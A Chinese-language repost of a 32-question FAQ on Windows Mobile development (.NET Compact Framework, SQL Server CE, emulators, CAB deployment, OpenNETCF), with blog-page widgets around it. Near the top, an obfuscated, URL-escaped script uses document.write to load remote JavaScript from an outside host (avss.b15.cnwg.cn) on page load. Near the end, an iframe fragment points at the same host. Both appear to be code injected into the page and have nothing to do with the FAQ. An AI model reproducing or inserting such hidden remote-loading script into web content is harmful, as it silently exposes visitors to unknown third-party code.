Windows Mobile 开发常见问题集(一)(转载)

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Windows Mobile 开发常见问题集(一)(转载)




 
http://www.winbile.net/BBS/1000076/ShowPost.aspx
1、Q
:新建项目的时候选择哪个项目类型才能创建智能设备的应用程序?
A
:在
Visual Studio
的新建项目对话框中选择
Visual C#
或者
Visual Basic
项目类型,选择智能设备模板,然后再选择相应的设备
SDK
,最后选择“
Device Application
”,就可以创建一个移动设备的应用程序了。
 
2、Q
:托管代码与本地代码有哪些区别?
A
:托管代码是指使用
.NET Compact Framework
开发的程序代码,可执行文件被编译成
IL
,执行时需要有
.NET
的运行时环境。而本地代码指用
C++
等语言开发的程序代码,可执行文件被编译成与
CPU
指令集有关的机器码,可以直接运行。
 
3、Q
:能不能简要介绍一下
Magneto
里面对
OTA

MMS
的支持?
A

Magneto

OTA
有很好的支持,
SDK
文档的通讯部分中,有针对
OTA
的专门介绍。
MMS
的应用程序基本都是由第三方开发的,因为
MMS
是基于
WAP
协议的,而
Magneto
本身对
WAP
的支持也很好,具体的协议也可以在
SDK
文档里找到。
 
4、Q
:请问用
Visual Basic .NET
开发
PDA
数据库程序能不能使用
ADO.NET

A

Visual Basic .NET
开发
PDA
数据库不需要引用
System.data.oledb
,只需要引用
System.Data.SqlServerCe
命名空间就可以了。该命名空间中的数据库操作类和
ADO.NET
是基本一致的。可以用它们来开发针对
SQL Server CE
的应用程序。
 
5、Q
:在
Visual C++2005
中,可以使用
.Net Compact Framework
吗?
A
:不能,现在
.NET Compact Framework
只支持
C#

VB.NET
,而不支持
C++/CLI
。但是在
VS.NET 2005
中可以用
C++
来开发
Native
代码来支持移动设备。
 
6、Q
:从什么地方可以得到
Smartphone
开发环境?
A

Smartphone

SDK
可以在微软网站上找到,而
Visual Studio 2005 Beta 2
可以通过参加微软活动的方式获得。
MEDC 2005
的参加者都获得了
VS.NET 2005

Windows Mobile 5 SDK
的开发光盘。
 
7、Q
:托管性的代码执行效率怎么样?和使用
Visual C++
编写的代码相比较。
A
:托管代码的执行效率肯定不如本地代码高,但是托管代码也有一些好处是无法取代的。
 
8、Q
:是否可以使用
Visual Studio .NET 2003
来开发能够运行在
Windows Mobile 2005
上的应用程序?
A
:首先更正一下,
Windows Mobile
最新一代的操作系统叫做
Windows Mobile 5
,而不是
Windows Mobile 2005
。是的,使用
VS.NET 2003
开发的应用程序是可以在
Windows Mobile 5
上正常运行的,因为
Windows Mobile 5 ROM
中内置了
.NET Compact Framewrok 1.0 SP3

 
9、Q

PDA
上不能用
Pocket Access
么?
SQL CE
太大了。
A
:可以使用
Pocket Access
来开发
Windows Mobile
上的应用程序。可以采用
C++
调用
OLEDB
或者
ADOCE
的方式来访问
Pocket Access
数据库。
 
10、Q

Visual Studio 2005
的新功能是否只在
Windows Mobile 5
里受到支持,
2003
是否支持?
A
:新功能分两个部分,一部分是
.NET Compact Framework 2.0
中提供的的新功能,这部分的功能可以被
Windows Mobile 2003
支持,但必须安装
.NET Compact Framework 2.0
;而另一部分是
Windows Mobile 5
的特有功能。
.NET Compact Framework 2.0

Windows Mobile 5
开发文档的“
What

s New
”部分,分别描述了这两方面的新特性。
 
11、Q
:请问如何在模拟器里面配置连接到移动网络?
A
:模拟器如果需要连接移动网络的话,必须有专门的硬件提供支持。可以在开发
PC
的串口上连一个
GPRS
的模拟器,
SDK
文档中对此有专门的说明。
 
12、Q

SQL CE
可以像
Pocket Access
那样仅使用一个文件就能运行么?是否需要像
PC
上那样安个服务器才能使用?
A
:不会的,只需要在
Windows Mobile
上安装
SQL Server CE
的支持库,也就是就是一些
DLL
文件。而
SQL Server CE
的库文件是一个单独的文件,不需要安装一个服务器。
 
13、Q
:开发好的程序通过什么方式部署到手机上?对手机有什么要求?
A
:开发的程序需要打包成
cab
文件部署到手机上。除了通过
ActiveSync
安装外,还可以通过网络下载、存储卡运行等方式来安装应用程序。对手机的要求是,必须和开发程序的目标平台相兼容。比如为
Windows Mobile 5
开发的应用程序,可能就没办法很好地运行在
Windows Mobile2003
平台上。
 
14、Q
:在模拟器上面开发程序,和真实环境有区别么?需要注意一些什么?
A
:模拟器的仿真度十分高,
Windows Mobile 5
的模拟器甚至可以支持
ARM
指令,所以基本不会遇到兼容性的问题。但是对于一些需要连接外部设备的应用场景,比如前边说的无线网络,还有
GPS
设备等,就需要用到实际设备了。
 
15、Q
:当开发国际化应用程序时,应该特别注意哪些方面?
A
:对于国际化的应用程序,
.NET
本身就已经提供了非常好的支持。可以把用户界面的文字保存在相应的资源文件中,然后由应用程序判断操作系统的语言版本来调用相应的文字。
 
16、Q
:用
.NET
开发
Pocket PC
程序需要考虑设备具体使用的是哪种
CPU
吗?
A
:不必。无论是在虚拟机上的
x86
指令集,还是实际设备上的
ARM
指令集,对
.NET Compact Framework
程序的运行来说都一样。
 
17、Q

Windows Mobile 5
是否支持通过语音控制新的开发程序?
A
:现在还不支持。
 
18、Q
:可以在
vwd2005 bata2
中开发
Pocket PC
程序吗?
Pocket PC
是否具有浏览器?
A
:可以,
Pocket PC
平台是内置浏览器的。
 
19、Q

Visual Studio 2005

Mobile
开发,支持
Mobile 2003
的设备吗?
A
:支持,
VS 2005
本身就自带
Windows Mobile 2003

SDK

 
20、Q

Windows Mobile 5.0 for Smartphone
较之前的版本有何明显的区别?对于测试这一领域,我们需要注意些什么?
A

Windows Mobile 5

Smartphone
平台更多的变化是在
API
层面,比如对数据库的支持、对
GPS API
的支持等,

Windows Mobile 5 SDK
文档中对此有详细地说明。
 
21、Q
:对开发来说
CDMA

GPRS
的数据传输是透明的吗?
A
:对于软件开发来说数据传输是透明的,
CDMA

GPRS
对于上层应用程序来说,只要支持
HTTP
协议或者
TCP/IP
协议就可以进行数据传输的操作。
 
22、Q

Visual Studio .NET
能否支持
Nokia

S60
系列系统开发?
A
:可以,
Visual C++
能支持
Nokia S60
的开发。
 
23、Q

Pocket PC

Mobile
开发的主要区别在哪里?
A

Window Mobile
是微软公司基于
Windows CE.NET
的一个平台。它包含
Pocket PC

Smartphone
两个版本。
 
24、Q

SDE
从哪里可以下载?
Pocket PC 2005
的模拟器可以从哪里下载?
A

SDE
是早期用来开发移动设备程序的
VS
扩展,目前网上似乎很难找到。其实不用安装它,安装所需版本的
Pocket PC
或者
Smartphone

SDK
即可。各个版本的
Windows Mobile
开发的
SDK
和模拟器的地址可以从这篇
Blog
上下载(
http

//twodays.cnblogs.com/archive/2005/06/30/184107.htm
)。
 
25、Q

.NET Compact Framework 2.0
能装在
Windows Mobile 2003
上吗
?
A
:可以。
.NET Compact Framework 2.0
必须手动安裝到
Windows Mobile 2003
的机器上。
 
26、Q
:请问有没有好的
Windows Mobile
编程的网站或者论坛?
A

OpenNETCF.org

www.devbuzz.com

www.codeproject.com

www.msdn.com/mobility/

www.pocketpcdn.com
 
27、Q

Windows Mobile 2003
上的
.NET Compact Framework
能升级到
.NET Compact Framework 2.0
吗?
A
:可以。
.NET Compact Framework 2.0
必须手动安裝到
Windows Mobile 2003
的机器上。
 
28、Q
:请问编写
WML
文件与使用
.NET Compact Framework
进行开发有什么联系和区别?
A

WML
是能够利用
WAP
浏览器进行浏览的文件,是一种基于
Web
的开发方式。
.NET Compact Framework
是在设备上运行的程序,是基于应用的开发方式。
 
29、Q
:在使用
.NET Compact Framework 1.0
进行开发时,用
EVC
直接调用
Native
代码与使用
C#
通过
P/Invoke
在性能上有什么差别?在
.NET Compact Framework 2.0
上,用
C++
直接调用和用
C#
通过
P/Invoke
又如何呢?
A
:用
EVC
調用
Native API
的效率,会比使用
.NET Compact Framework
通过
P/Invoke
调用
Native API
要高,这是
.NET Compact Framework
本身的特性。在从托管代码中调用
Native API
时,其内部会进行一些额外的类型转换动作,这会导致效率的降低。
 
30、Q
:有没有支持显示
HTML
文本的控件?
A

WebBrowser
控件可以用于
HTML
文本。
 
31、Q

CAB
安装后会在
Pocket PC
上自动生成“卸载程序”,如何制作安装包,才能不自动产生“卸载程序”?
A
:利用
VS 2005
建立
Smart Device Cab Project
,在
Solution Explorer

Cab Project
上点击鼠标右键选择
Property
,即可看到有一个选项为
NoUninstall
,默认为
False
,改为
True
就可以了。
 
32、Q

OpenNETCF
能运行在
.NET Framework 1.1
环境下吗?其中的控件可以与
.NET Framework 1.1
控件混合使用吗?怎样在
Visual Studio .NET 2003
中加入
OpenNETCF
控件?
A
:当初在设计
NET Compact Framework 1.0/1.1
时,由于考虑到移动设备的资源有限,所以有些原本
.NET Framework 1.1
中已经提供的类和控件就被删除了,
OpenNETCF Smart Device Framework
主要是针对
.NET Compact Framework 1.0/1.1
中没有的功能,开发出来的类似的类型和额外的功能,以弥补
.NET Compact Framework 1.0/1.1
不足之处。这套
Framework
主要是供
.NET Compact Framework
程序开发所用,除了少部份针对
PC

Pocket PC
的同步功能所编写的类之外,大部分都是在
.NET Compact Framework
上执行的,一般不支持
.NET Framework

OpenNETCF

Smart Device Framework
安装完毕之后,可以在
VS 2003
左侧的工具箱中看到
OpenNETCF
的控件,可以直接拖放来使用。

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值